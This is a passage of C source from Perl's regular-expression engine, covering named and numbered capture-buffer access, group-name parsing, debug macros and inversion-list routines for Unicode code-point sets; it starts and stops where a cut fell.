Perl_reg_named_buff_nextkey(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REG_NAMED_BUFF_NEXTKEY; if (rx && RXp_PAREN_NAMES(rx)) { HV *hv = RXp_PAREN_NAMES(rx); HE *temphe; while ( (temphe = hv_iternext_flags(hv, 0)) ) { IV i; IV parno = 0; SV* sv_dat = HeVAL(temphe); I32 *nums = (I32*)SvPVX(sv_dat); for ( i = 0; i < SvIVX(sv_dat); i++ ) { if ((I32)(rx->lastparen) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { parno = nums[i]; break; } } if (parno || flags & RXapif_ALL) { return newSVhek(HeKEY_hek(temphe)); } } } return NULL; } SV* Perl_reg_named_buff_scalar(pTHX_ REGEXP * const r, const U32 flags) { SV *ret; AV *av; SSize_t length; struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_SCALAR; if (rx && RXp_PAREN_NAMES(rx)) { if (flags & (RXapif_ALL | RXapif_REGNAMES_COUNT)) { return newSViv(HvTOTALKEYS(RXp_PAREN_NAMES(rx))); } else if (flags & RXapif_ONE) { ret = CALLREG_NAMED_BUFF_ALL(r, (flags | RXapif_REGNAMES)); av = MUTABLE_AV(SvRV(ret)); length = av_tindex(av); SvREFCNT_dec_NN(ret); return newSViv(length + 1); } else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff_scalar", (int)flags); return NULL; } } return &PL_sv_undef; } SV* Perl_reg_named_buff_all(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); AV *av = newAV(); PERL_ARGS_ASSERT_REG_NAMED_BUFF_ALL; if (rx && RXp_PAREN_NAMES(rx)) { HV *hv= RXp_PAREN_NAMES(rx); HE *temphe; (void)hv_iterinit(hv); while ( (temphe = hv_iternext_flags(hv, 0)) ) { IV i; IV parno = 0; SV* sv_dat = HeVAL(temphe); I32 *nums = (I32*)SvPVX(sv_dat); for ( i = 0; i < SvIVX(sv_dat); i++ ) { if ((I32)(rx->lastparen) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { parno = nums[i]; break; } } if (parno || flags & RXapif_ALL) { av_push(av, newSVhek(HeKEY_hek(temphe))); } } } return newRV_noinc(MUTABLE_SV(av)); } void Perl_reg_numbered_buff_fetch(pTHX_ REGEXP * const r, const I32 paren, SV * const sv) { struct regexp *const rx = ReANY(r); char *s = NULL; SSize_t i = 0; SSize_t s1, t1; I32 n = paren; PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_FETCH; if ( n == RX_BUFF_IDX_CARET_PREMATCH || n == RX_BUFF_IDX_CARET_FULLMATCH || n == RX_BUFF_IDX_CARET_POSTMATCH ) { bool keepcopy = cBOOL(rx->extflags & RXf_PMf_KEEPCOPY); if (!keepcopy) { /* on something like * $r = qr/.../; * /$qr/p; * the KEEPCOPY is set on the PMOP rather than the regex */ if (PL_curpm && r == PM_GETRE(PL_curpm)) keepcopy = cBOOL(PL_curpm->op_pmflags & PMf_KEEPCOPY); } if (!keepcopy) goto ret_undef; } if (!rx->subbeg) goto ret_undef; if (n == RX_BUFF_IDX_CARET_FULLMATCH) /* no need to distinguish between them any more */ n = RX_BUFF_IDX_FULLMATCH; if ((n == RX_BUFF_IDX_PREMATCH || n == RX_BUFF_IDX_CARET_PREMATCH) && rx->offs[0].start != -1) { /* $`, ${^PREMATCH} */ i = rx->offs[0].start; s = rx->subbeg; } else if ((n == RX_BUFF_IDX_POSTMATCH || n == RX_BUFF_IDX_CARET_POSTMATCH) && rx->offs[0].end != -1) { /* $', ${^POSTMATCH} */ s = rx->subbeg - rx->suboffset + rx->offs[0].end; i = rx->sublen + rx->suboffset - rx->offs[0].end; } else if ( 0 <= n && n <= (I32)rx->nparens && (s1 = rx->offs[n].start) != -1 && (t1 = rx->offs[n].end) != -1) { /* $&, ${^MATCH}, $1 ... */ i = t1 - s1; s = rx->subbeg + s1 - rx->suboffset; } else { goto ret_undef; } assert(s >= rx->subbeg); assert((STRLEN)rx->sublen >= (STRLEN)((s - rx->subbeg) + i) ); if (i >= 0) { #ifdef NO_TAINT_SUPPORT sv_setpvn(sv, s, i); #else const int oldtainted = TAINT_get; TAINT_NOT; sv_setpvn(sv, s, i); TAINT_set(oldtainted); #endif if (RXp_MATCH_UTF8(rx)) SvUTF8_on(sv); else SvUTF8_off(sv); if (TAINTING_get) { if (RXp_MATCH_TAINTED(rx)) { if (SvTYPE(sv) >= SVt_PVMG) { MAGIC* const mg = SvMAGIC(sv); MAGIC* mgt; TAINT; SvMAGIC_set(sv, mg->mg_moremagic); SvTAINT(sv); if ((mgt = SvMAGIC(sv))) { mg->mg_moremagic = mgt; SvMAGIC_set(sv, mg); } } else { TAINT; SvTAINT(sv); } } else SvTAINTED_off(sv); } } else { ret_undef: sv_set_undef(sv); return; } } void Perl_reg_numbered_buff_store(pTHX_ REGEXP * const rx, const I32 paren, SV const * const value) { PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_STORE; PERL_UNUSED_ARG(rx); PERL_UNUSED_ARG(paren); PERL_UNUSED_ARG(value); if (!PL_localizing) Perl_croak_no_modify(); } I32 Perl_reg_numbered_buff_length(pTHX_ REGEXP * const r, const SV * const sv, const I32 paren) { struct regexp *const rx = ReANY(r); I32 i; I32 s1, t1; PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_LENGTH; if ( paren == RX_BUFF_IDX_CARET_PREMATCH || paren == RX_BUFF_IDX_CARET_FULLMATCH || paren == RX_BUFF_IDX_CARET_POSTMATCH ) { bool keepcopy = cBOOL(rx->extflags & RXf_PMf_KEEPCOPY); if (!keepcopy) { /* on something like * $r = qr/.../; * /$qr/p; * the KEEPCOPY is set on the PMOP rather than the regex */ if (PL_curpm && r == PM_GETRE(PL_curpm)) keepcopy = cBOOL(PL_curpm->op_pmflags & PMf_KEEPCOPY); } if (!keepcopy) goto warn_undef; } /* Some of this code was originally in C<Perl_magic_len> in F<mg.c> */ switch (paren) { case RX_BUFF_IDX_CARET_PREMATCH: /* ${^PREMATCH} */ case RX_BUFF_IDX_PREMATCH: /* $` */ if (rx->offs[0].start != -1) { i = rx->offs[0].start; if (i > 0) { s1 = 0; t1 = i; goto getlen; } } return 0; case RX_BUFF_IDX_CARET_POSTMATCH: /* ${^POSTMATCH} */ case RX_BUFF_IDX_POSTMATCH: /* $' */ if (rx->offs[0].end != -1) { i = rx->sublen - rx->offs[0].end; if (i > 0) { s1 = rx->offs[0].end; t1 = rx->sublen; goto getlen; } } return 0; default: /* $& / ${^MATCH}, $1, $2, ... */ if (paren <= (I32)rx->nparens && (s1 = rx->offs[paren].start) != -1 && (t1 = rx->offs[paren].end) != -1) { i = t1 - s1; goto getlen; } else { warn_undef: if (ckWARN(WARN_UNINITIALIZED)) report_uninit((const SV *)sv); return 0; } } getlen: if (i > 0 && RXp_MATCH_UTF8(rx)) { const char * const s = rx->subbeg - rx->suboffset + s1; const U8 *ep; STRLEN el; i = t1 - s1; if (is_utf8_string_loclen((U8*)s, i, &ep, &el)) i = el; } return i; } SV* Perl_reg_qr_package(pTHX_ REGEXP * const rx) { PERL_ARGS_ASSERT_REG_QR_PACKAGE; PERL_UNUSED_ARG(rx); if (0) return NULL; else return newSVpvs("Regexp"); } /* Scans the name of a named buffer from the pattern. * If flags is REG_RSN_RETURN_NULL returns null. * If flags is REG_RSN_RETURN_NAME returns an SV* containing the name * If flags is REG_RSN_RETURN_DATA returns the data SV* corresponding * to the parsed name as looked up in the RExC_paren_names hash. * If there is an error throws a vFAIL().. type exception. */ #define REG_RSN_RETURN_NULL 0 #define REG_RSN_RETURN_NAME 1 #define REG_RSN_RETURN_DATA 2 STATIC SV* S_reg_scan_name(pTHX_ RExC_state_t *pRExC_state, U32 flags) { char *name_start = RExC_parse; SV* sv_name; PERL_ARGS_ASSERT_REG_SCAN_NAME; assert (RExC_parse <= RExC_end); if (RExC_parse == RExC_end) NOOP; else if (isIDFIRST_lazy_if_safe(RExC_parse, RExC_end, UTF)) { /* Note that the code here assumes well-formed UTF-8. Skip IDFIRST by * using do...while */ if (UTF) do { RExC_parse += UTF8SKIP(RExC_parse); } while ( RExC_parse < RExC_end && isWORDCHAR_utf8_safe((U8*)RExC_parse, (U8*) RExC_end)); else do { RExC_parse++; } while (RExC_parse < RExC_end && isWORDCHAR(*RExC_parse)); } else { RExC_parse++; /* so the <- from the vFAIL is after the offending character */ vFAIL("Group name must start with a non-digit word character"); } sv_name = newSVpvn_flags(name_start, (int)(RExC_parse - name_start), SVs_TEMP | (UTF ? SVf_UTF8 : 0)); if ( flags == REG_RSN_RETURN_NAME) return sv_name; else if (flags==REG_RSN_RETURN_DATA) { HE *he_str = NULL; SV *sv_dat = NULL; if ( ! sv_name ) /* should not happen*/ Perl_croak(aTHX_ "panic: no svname in reg_scan_name"); if (RExC_paren_names) he_str = hv_fetch_ent( RExC_paren_names, sv_name, 0, 0 ); if ( he_str ) sv_dat = HeVAL(he_str); if ( ! sv_dat ) { /* Didn't find group */ /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { vFAIL("Reference to nonexistent named group"); } else { REQUIRE_PARENS_PASS; } } return sv_dat; } Perl_croak(aTHX_ "panic: bad flag %lx in reg_scan_name", (unsigned long) flags); } #define DEBUG_PARSE_MSG(funcname) DEBUG_PARSE_r({ \ if (RExC_lastparse!=RExC_parse) { \ Perl_re_printf( aTHX_ "%s", \ Perl_pv_pretty(aTHX_ RExC_mysv1, RExC_parse, \ RExC_end - RExC_parse, 16, \ "", "", \ PERL_PV_ESCAPE_UNI_DETECT | \ PERL_PV_PRETTY_ELLIPSES | \ PERL_PV_PRETTY_LTGT | \ PERL_PV_ESCAPE_RE | \ PERL_PV_PRETTY_EXACTSIZE \ ) \ ); \ } else \ Perl_re_printf( aTHX_ "%16s",""); \ \ if (RExC_lastnum!=RExC_emit) \ Perl_re_printf( aTHX_ "|%4d", RExC_emit); \ else \ Perl_re_printf( aTHX_ "|%4s",""); \ Perl_re_printf( aTHX_ "|%*s%-4s", \ (int)((depth*2)), "", \ (funcname) \ ); \ RExC_lastnum=RExC_emit; \ RExC_lastparse=RExC_parse; \ }) #define DEBUG_PARSE(funcname) DEBUG_PARSE_r({ \ DEBUG_PARSE_MSG((funcname)); \ Perl_re_printf( aTHX_ "%4s","\n"); \ }) #define DEBUG_PARSE_FMT(funcname,fmt,args) DEBUG_PARSE_r({\ DEBUG_PARSE_MSG((funcname)); \ Perl_re_printf( aTHX_ fmt "\n",args); \ }) /* This section of code defines the inversion list object and its methods. The * interfaces are highly subject to change, so as much as possible is static to * this file. An inversion list is here implemented as a malloc'd C UV array * as an SVt_INVLIST scalar. * * An inversion list for Unicode is an array of code points, sorted by ordinal * number. Each element gives the code point that begins a range that extends * up-to but not including the code point given by the next element. The final * element gives the first code point of a range that extends to the platform's * infinity. The even-numbered elements (invlist[0], invlist[2], invlist[4], * ...) give ranges whose code points are all in the inversion list. We say * that those ranges are in the set. The odd-numbered elements give ranges * whose code points are not in the inversion list, and hence not in the set. * Thus, element [0] is the first code point in the list. Element [1] * is the first code point beyond that not in the list; and element [2] is the * first code point beyond that that is in the list. In other words, the first * range is invlist[0]..(invlist[1]-1), and all code points in that range are * in the inversion list. The second range is invlist[1]..(invlist[2]-1), and * all code points in that range are not in the inversion list. The third * range invlist[2]..(invlist[3]-1) gives code points that are in the inversion * list, and so forth. Thus every element whose index is divisible by two * gives the beginning of a range that is in the list, and every element whose * index is not divisible by two gives the beginning of a range not in the * list. If the final element's index is divisible by two, the inversion list * extends to the platform's infinity; otherwise the highest code point in the * inversion list is the contents of that element minus 1. * * A range that contains just a single code point N will look like * invlist[i] == N * invlist[i+1] == N+1 * * If N is UV_MAX (the highest representable code point on the machine), N+1 is * impossible to represent, so element [i+1] is omitted. The single element * inversion list * invlist[0] == UV_MAX * contains just UV_MAX, but is interpreted as matching to infinity. * * Taking the complement (inverting) an inversion list is quite simple, if the * first element is 0, remove it; otherwise add a 0 element at the beginning. * This implementation reserves an element at the beginning of each inversion * list to always contain 0; there is an additional flag in the header which * indicates if the list begins at the 0, or is offset to begin at the next * element. This means that the inversion list can be inverted without any * copying; just flip the flag. * * More about inversion lists can be found in "Unicode Demystified" * Chapter 13 by Richard Gillam, published by Addison-Wesley. * * The inversion list data structure is currently implemented as an SV pointing * to an array of UVs that the SV thinks are bytes. This allows us to have an * array of UV whose memory management is automatically handled by the existing * facilities for SV's. * * Some of the methods should always be private to the implementation, and some * should eventually be made public */ /* The header definitions are in F<invlist_inline.h> */ #ifndef PERL_IN_XSUB_RE PERL_STATIC_INLINE UV* S__invlist_array_init(SV* const invlist, const bool will_have_0) { /* Returns a pointer to the first element in the inversion list's array. * This is called upon initialization of an inversion list. Where the * array begins depends on whether the list has the code point U+0000 in it * or not. The other parameter tells it whether the code that follows this * call is about to put a 0 in the inversion list or not. The first * element is either the element reserved for 0, if TRUE, or the element * after it, if FALSE */ bool* offset = get_invlist_offset_addr(invlist); UV* zero_addr = (UV *) SvPVX(invlist); PERL_ARGS_ASSERT__INVLIST_ARRAY_INIT; /* Must be empty */ assert(! _invlist_len(invlist)); *zero_addr = 0; /* 1^1 = 0; 1^0 = 1 */ *offset = 1 ^ will_have_0; return zero_addr + *offset; } PERL_STATIC_INLINE void S_invlist_set_len(pTHX_ SV* const invlist, const UV len, const bool offset) { /* Sets the current number of elements stored in the inversion list. * Updates SvCUR correspondingly */ PERL_UNUSED_CONTEXT; PERL_ARGS_ASSERT_INVLIST_SET_LEN; assert(is_invlist(invlist)); SvCUR_set(invlist, (len == 0) ? 0 : TO_INTERNAL_SIZE(len + offset)); assert(SvLEN(invlist) == 0 || SvCUR(invlist) <= SvLEN(invlist)); } STATIC void S_invlist_replace_list_destroys_src(pTHX_ SV * dest, SV * src) { /* Replaces the inversion list in 'dest' with the one from 'src'. It * steals the list from 'src', so 'src' is made to have a NULL list. This * is similar to what SvSetMagicSV() would do, if it were implemented on * inversion lists, though this routine avoids a copy */ const UV src_len = _invlist_len(src); const bool src_offset = *get_invlist_offset_addr(src); const STRLEN src_byte_len = SvLEN(src); char * array = SvPVX(src); const int oldtainted = TAINT_get; PERL_ARGS_ASSERT_INVLIST_REPLACE_LIST_DESTROYS_SRC; assert(is_invlist(src)); assert(is_invlist(dest)); assert(! invlist_is_iterating(src)); assert(SvCUR(src) == 0 || SvCUR(src) < SvLEN(src)); /* Make sure it ends in the right place with a NUL, as our inversion list * manipulations aren't careful to keep this true, but sv_usepvn_flags() * asserts it */ array[src_byte_len - 1] = '\0'; TAINT_NOT; /* Otherwise it breaks */ sv_usepvn_flags(dest, (char *) array, src_byte_len - 1, /* This flag is documented to cause a copy to be avoided */ SV_HAS_TRAILING_NUL); TAINT_set(oldtainted); SvPV_set(src, 0); SvLEN_set(src, 0); SvCUR_set(src, 0); /* Finish up copying over the other fields in an inversion list */ *get_invlist_offset_addr(dest) = src_offset; invlist_set_len(dest, src_len, src_offset); *get_invlist_previous_index_addr(dest) = 0; invlist_iterfinish(dest); } PERL_STATIC_INLINE IV* S_get_invlist_previous_index_addr(SV* invlist) { /* Return the address of the IV that is reserved to hold the cached index * */ PERL_ARGS_ASSERT_GET_INVLIST_PREVIOUS_INDEX_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->prev_index); } PERL_STATIC_INLINE IV S_invlist_previous_index(SV* const invlist) { /* Returns cached index of previous search */ PERL_ARGS_ASSERT_INVLIST_PREVIOUS_INDEX; return *get_invlist_previous_index_addr(invlist); } PERL_STATIC_INLINE void S_invlist_set_previous_index(SV* const invlist, const IV index) { /* Caches <index> for later retrieval */ PERL_ARGS_ASSERT_INVLIST_SET_PREVIOUS_INDEX; assert(index == 0 || index < (int) _invlist_len(invlist)); *get_invlist_previous_index_addr(invlist) = index; } PERL_STATIC_INLINE void S_invlist_trim(SV* invlist) { /* Free the not currently-being-used space in an inversion list */ /* But don't free up the space needed for the 0 UV that is always at the * beginning of the list, nor the trailing NUL */ const UV min_size = TO_INTERNAL_SIZE(1) + 1; PERL_ARGS_ASSERT_INVLIST_TRIM; assert(is_invlist(invlist)); SvPV_renew(invlist, MAX(min_size, SvCUR(invlist) + 1)); } PERL_STATIC_INLINE void S_invlist_clear(pTHX_ SV* invlist) /* Empty the inversion list */ { PERL_ARGS_ASSERT_INVLIST_CLEAR; assert(is_invlist(invlist)); invlist_set_len(invlist, 0, 0); invlist_trim(invlist); } #endif /* ifndef PERL_IN_XSUB_RE */ PERL_STATIC_INLINE bool S_invlist_is_iterating(SV* const invlist) { PERL_ARGS_ASSERT_INVLIST_IS_ITERATING; return *(get_invlist_iter_addr(invlist)) < (STRLEN) UV_MAX; } #ifndef PERL_IN_XSUB_RE PERL_STATIC_INLINE UV S_invlist_max(SV* const invlist) { /* Returns the maximum number of elements storable in the inversion list's * array, without having to realloc() */ PERL_ARGS_ASSERT_INVLIST_MAX; assert(is_invlist(invlist)); /* Assumes worst case, in which the 0 element is not counted in the * inversion list, so subtracts 1 for that */ return SvLEN(invlist) == 0 /* This happens under _new_invlist_C_array */ ? FROM_INTERNAL_SIZE(SvCUR(invlist)) - 1 : FROM_INTERNAL_SIZE(SvLEN(invlist)) - 1; } STATIC void S_initialize_invlist_guts(pTHX_ SV* invlist, const Size_t initial_size) { PERL_ARGS_ASSERT_INITIALIZE_INVLIST_GUTS; /* First 1 is in case the zero element isn't in the list; second 1 is for * trailing NUL */ SvGROW(invlist, TO_INTERNAL_SIZE(initial_size + 1) + 1); invlist_set_len(invlist, 0, 0); /* Force iterinit() to be used to get iteration to work */ invlist_iterfinish(invlist); *get_invlist_previous_index_addr(invlist) = 0; } SV* Perl__new_invlist(pTHX_ IV initial_size) { /* Return a pointer to a newly constructed inversion list, with enough * space to store 'initial_size' elements. If that number is negative, a * system default is used instead */ SV* new_list; if (initial_size < 0) { initial_size = 10; } new_list = newSV_type(SVt_INVLIST); initialize_invlist_guts(new_list, initial_size); return new_list; } SV* Perl__new_invlist_C_array(pTHX_ const UV* const list) { /* Return a pointer to a newly constructed inversion list, initialized to * point to <list>, which has to be in the exact correct inversion list * form, including internal fields. Thus this is a dangerous routine that * should not be used in the wrong hands. The passed in 'list' contains * several header fields at the beginning that are not part of the * inversion list body proper */ const STRLEN length = (STRLEN) list[0]; const UV version_id = list[1]; const bool offset = cBOOL(list[2]); #define HEADER_LENGTH 3 /* If any of the above changes in any way, you must change HEADER_LENGTH * (if appropriate) and regenerate INVLIST_VERSION_ID by running * perl -E 'say int(rand 2**31-1)' */ #define INVLIST_VERSION_ID 148565664 /* This is a combination of a version and data structure type, so that one being passed in can be validated to be an inversion list of the correct vintage. */ SV* invlist = newSV_type(SVt_INVLIST); PERL_ARGS_ASSERT__NEW_INVLIST_C_ARRAY; if (version_id != INVLIST_VERSION_ID) { Perl_croak(aTHX_ "panic: Incorrect version for previously generated inversion list"); } /* The generated array passed in includes header elements that aren't part * of the list proper, so start it just after them */ SvPV_set(invlist, (char *) (list + HEADER_LENGTH)); SvLEN_set(invlist, 0); /* Means we own the contents, and the system shouldn't touch it */ *(get_invlist_offset_addr(invlist)) = offset; /* The 'length' passed to us is the physical number of elements in the * inversion list. But if there is an offset the logical number is one * less than that */ invlist_set_len(invlist, length - offset, offset); invlist_set_previous_index(invlist, 0); /* Initialize the iteration pointer. */ invlist_iterfinish(invlist); SvREADONLY_on(invlist); return invlist; } STATIC void S_invlist_extend(pTHX_ SV* const invlist, const UV new_max) { /* Grow the maximum size of an inversion list */ PERL_ARGS_ASSERT_INVLIST_EXTEND; assert(is_invlist(invlist)); /* Add one to account for the zero element at the beginning which may not * be counted by the calling parameters */ SvGROW((SV *)invlist, TO_INTERNAL_SIZE(new_max + 1)); } STATIC void S__append_range_to_invlist(pTHX_ SV* const invlist, const UV start, const UV end) { /* Subject to change or removal. Append the range from 'start' to 'end' at * the end of the inversion list. The range must be above any existing * ones. */ UV* array; UV max = invlist_max(invlist); UV len = _invlist_len(invlist); bool offset; PERL_ARGS_ASSERT__APPEND_RANGE_TO_INVLIST; if (len == 0) { /* Empty lists must be initialized */ offset = start != 0; array = _invlist_array_init(invlist, ! offset); } else { /* Here, the existing list is non-empty. The current max entry in the * list is generally the first value not in the set, except when the * set extends to the end of permissible values, in which case it is * the first entry in that final set, and so this call is an attempt to * append out-of-order */ UV final_element = len - 1; array = invlist_array(invlist); if ( array[final_element] > start || ELEMENT_RANGE_MATCHES_INVLIST(final_element)) { Perl_croak(aTHX_ "panic: attempting to append to an inversion list, but wasn't at the end of the list, final=%" UVuf ", start=%" UVuf ", match=%c", array[final_element], start, ELEMENT_RANGE_MATCHES_INVLIST(final_element) ? 't' : 'f'); } /* Here, it is a legal append. If the new range begins 1 above the end * of the range below it, it is extending the range below it, so the * new first value not in the set is one greater than the newly * extended range. */ offset = *get_invlist_offset_addr(invlist); if (array[final_element] == start) { if (end != UV_MAX) { array[final_element] = end + 1; } else { /* But if the end is the maximum representable on the machine, * assume that infinity was actually what was meant. Just let * the range that this would extend to have no end */ invlist_set_len(invlist, len - 1, offset); } return; } } /* Here the new range doesn't extend any existing set. Add it */ len += 2; /* Includes an element each for the start and end of range */ /* If wll overflow the existing space, extend, which may cause the array to * be moved */ if (max < len) { invlist_extend(invlist, len); /* Have to set len here to avoid assert failure in invlist_array() */ invlist_set_len(invlist, len, offset); array = invlist_array(invlist); } else { invlist_set_len(invlist, len, offset); } /* The next item on the list starts the range, the one after that is * one past the new range. */ array[len - 2] = start; if (end != UV_MAX) { array[len - 1] = end + 1; } else { /* But if the end is the maximum representable on the machine, just let * the range have no end */ invlist_set_len(invlist, len - 1, offset); } } SSize_t Perl__invlist_search(SV* const invlist, const UV cp) { /* Searches the inversion list for the entry that contains the input code * point <cp>. If <cp> is not in the list, -1 is returned. Otherwise, the * return value is the index into the list's array of the range that * contains <cp>, that is, 'i' such that * array[i] <= cp < array[i+1] */ IV low = 0; IV mid; IV high = _invlist_len(invlist); const IV highest_element = high - 1; const UV* array; PERL_ARGS_ASSERT__INVLIST_SEARCH; /* If list is empty, return failure. */ if (high == 0) { return -1; } /* (We can't get the array unless we know the list is non-empty) */ array = invlist_array(invlist); mid = invlist_previous_index(invlist); assert(mid >=0); if (mid > highest_element) { mid = highest_element; } /* <mid> contains the cache of the result of the previous call to this * function (0 the first time). See if this call is for the same result, * or if it is for mid-1. This is under the theory that calls to this * function will often be for related code points that are near each other. * And benchmarks show that caching gives better results. We also test * here if the code point is within the bounds of the list. These tests * replace others that would have had to be made anyway to make sure that * the array bounds were not exceeded, and these give us extra information * at the same time */ if (cp >= array[mid]) { if (cp >= array[highest_element]) { return highest_element; } /* Here, array[mid] <= cp < array[highest_element]. This means that * the final element is not the answer, so can exclude it; it also * means that <mid> is not the final element, so can refer to 'mid + 1' * safely */ if (cp < array[mid + 1]) { return mid; } high--; low = mid + 1; } else { /* cp < aray[mid] */ if (cp < array[0]) { /* Fail if outside the array */ return -1; } high = mid; if (cp >= array[mid - 1]) { goto found_entry; } } /* Binary search. What we are looking for is <i> such that * array[i] <= cp < array[i+1] * The loop below converges on the i+1. Note that there may not be an * (i+1)th element in the array, and things work nonetheless */ while (low < high) { mid = (low + high) / 2; assert(mid <= highest_element); if (array[mid] <= cp) { /* cp >= array[mid] */ low = mid + 1; /* We could do this extra test to exit the loop early. if (cp < array[low]) { return mid; } */ } else { /* cp < array[mid] */ high = mid; } } found_entry: high--; invlist_set_previous_index(invlist, high); return high; } void Perl__invlist_union_maybe_complement_2nd(pTHX_ SV* const a, SV* const b, const bool complement_b, SV** output) { /* Take the union of two inversion lists and point '*output' to it. On * input, '*output' MUST POINT TO NULL OR TO AN SV* INVERSION LIST (possibly * even 'a' or 'b'). If to an inversion list, the contents of the original * list will be replaced by the union. The first list, 'a', may be * NULL, in which case a copy of the second list is placed in '*output'. * If 'complement_b' is TRUE, the union is taken of the complement * (inversion) of 'b' instead of b itself. * * The basis for this comes from "Unicode Demystified" Chapter 13 by * Richard Gillam, published by Addison-Wesley, and explained at some * length there. The preface says to incorporate its examples into your * code at your own risk. * * The algorithm is like a merge sort. */ const UV* array_a; /* a's array */ const UV* array_b; UV len_a; /* length of a's array */ UV len_b; SV* u; /* the resulting union */ UV* array_u; UV len_u = 0; UV i_a = 0; /* current index into a's array */ UV i_b = 0; UV i_u = 0; /* running count, as explained in the algorithm source book; items are * stopped accumulating and are output when the count changes to/from 0. * The count is incremented when we start a range that's in an input's set, * and decremented when we start a range that's not in a set. So this * variable can be 0, 1, or 2. When it is 0 neither input is in their set, * and hence nothing goes into the union; 1, just one of the inputs is in * its set (and its current range gets added to the union); and 2 when both * inputs are in their sets. */ UV count = 0; PERL_ARGS_ASSERT__INVLIST_UNION_MAYBE_COMPLEMENT_2ND; assert(a != b); assert(*output == NULL || is_invlist(*output)); len_b = _invlist_len(b); if (len_b == 0) { /* Here, 'b' is empty, hence it's complement is all possible code * points. So if the union includes the complement of 'b', it includes * everything, and we need not even look at 'a'. It's easiest to * create a new inversion list that matches everything. */ if (complement_b) { SV* everything = _add_range_to_invlist(NULL, 0, UV_MAX); if (*output == NULL) { /* If the output didn't exist, just point it at the new list */ *output = everything; } else { /* Otherwise, replace its contents with the new list */ invlist_replace_list_destroys_src(*output, everything); SvREFCNT_dec_NN(everything); } return; } /* Here, we don't want the complement of 'b', and since 'b' is empty, * the union will come entirely from 'a'. If 'a' is NULL or empty, the * output will be empty */ if (a == NULL || _invlist_len(a) == 0) { if (*output == NULL) { *output = _new_invlist(0); } else { invlist_clear(*output); } return; } /* Here, 'a' is not empty, but 'b' is, so 'a' entirely determines the * union. We can just return a copy of 'a' if '*output' doesn't point * to an existing list */ if (*output == NULL) { *output = invlist_clone(a, NULL); return; } /* If the output is to overwrite 'a', we have a no-op, as it's * already in 'a' */ if (*output == a) { return; } /* Here, '*output' is to be overwritten by 'a' */ u = invlist_clone(a, NULL); invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); return; } /* Here 'b' is not empty. See about 'a' */ if (a == NULL || ((len_a = _invlist_len(a)) == 0)) { /* Here, 'a' is empty (and b is not). That means the union will come * entirely from 'b'. If '*output' is NULL, we can directly return a * clone of 'b'. Otherwise, we replace the contents of '*output' with * the clone */ SV ** dest = (*output == NULL) ? output : &u; *dest = invlist_clone(b, NULL); if (complement_b) { _invlist_invert(*dest); } if (dest == &u) { invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); } return; } /* Here both lists exist and are non-empty */ array_a = invlist_array(a); array_b = invlist_array(b); /* If are to take the union of 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* To complement, we invert: if the first element is 0, remove it. To * do this, we just pretend the array starts one later */ if (array_b[0] == 0) { array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } /* Size the union for the worst case: that the sets are completely * disjoint */ u = _new_invlist(len_a + len_b); /* Will contain U+0000 if either component does */ array_u = _invlist_array_init(u, ( len_a > 0 && array_a[0] == 0) || (len_b > 0 && array_b[0] == 0)); /* Go through each input list item by item, stopping when have exhausted * one of them */ while (i_a < len_a && i_b < len_b) { UV cp; /* The element to potentially add to the union's array */ bool cp_in_set; /* is it in the the input list's set or not */ /* We need to take one or the other of the two inputs for the union. * Since we are merging two sorted lists, we take the smaller of the * next items. In case of a tie, we take first the one that is in its * set. If we first took the one not in its set, it would decrement * the count, possibly to 0 which would cause it to be output as ending * the range, and the next time through we would take the same number, * and output it again as beginning the next range. By doing it the * opposite way, there is no possibility that the count will be * momentarily decremented to 0, and thus the two adjoining ranges will * be seamlessly merged. (In a tie and both are in the set or both not * in the set, it doesn't matter which we take first.) */ if ( array_a[i_a] < array_b[i_b] || ( array_a[i_a] == array_b[i_b] && ELEMENT_RANGE_MATCHES_INVLIST(i_a))) { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_a); cp = array_a[i_a++]; } else { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_b); cp = array_b[i_b++]; } /* Here, have chosen which of the two inputs to look at. Only output * if the running count changes to/from 0, which marks the * beginning/end of a range that's in the set */ if (cp_in_set) { if (count == 0) { array_u[i_u++] = cp; } count++; } else { count--; if (count == 0) { array_u[i_u++] = cp; } } } /* The loop above increments the index into exactly one of the input lists * each iteration, and ends when either index gets to its list end. That * means the other index is lower than its end, and so something is * remaining in that one. We decrement 'count', as explained below, if * that list is in its set. (i_a and i_b each currently index the element * beyond the one we care about.) */ if ( (i_a != len_a && PREV_RANGE_MATCHES_INVLIST(i_a)) || (i_b != len_b && PREV_RANGE_MATCHES_INVLIST(i_b))) { count--; } /* Above we decremented 'count' if the list that had unexamined elements in * it was in its set. This has made it so that 'count' being non-zero * means there isn't anything left to output; and 'count' equal to 0 means * that what is left to output is precisely that which is left in the * non-exhausted input list. * * To see why, note first that the exhausted input obviously has nothing * left to add to the union. If it was in its set at its end, that means * the set extends from here to the platform's infinity, and hence so does * the union and the non-exhausted set is irrelevant. The exhausted set * also contributed 1 to 'count'. If 'count' was 2, it got decremented to * 1, but if it was 1, the non-exhausted set wasn't in its set, and so * 'count' remains at 1. This is consistent with the decremented 'count' * != 0 meaning there's nothing left to add to the union. * * But if the exhausted input wasn't in its set, it contributed 0 to * 'count', and the rest of the union will be whatever the other input is. * If 'count' was 0, neither list was in its set, and 'count' remains 0; * otherwise it gets decremented to 0. This is consistent with 'count' * == 0 meaning the remainder of the union is whatever is left in the * non-exhausted list. */ if (count != 0) { len_u = i_u; } else { IV 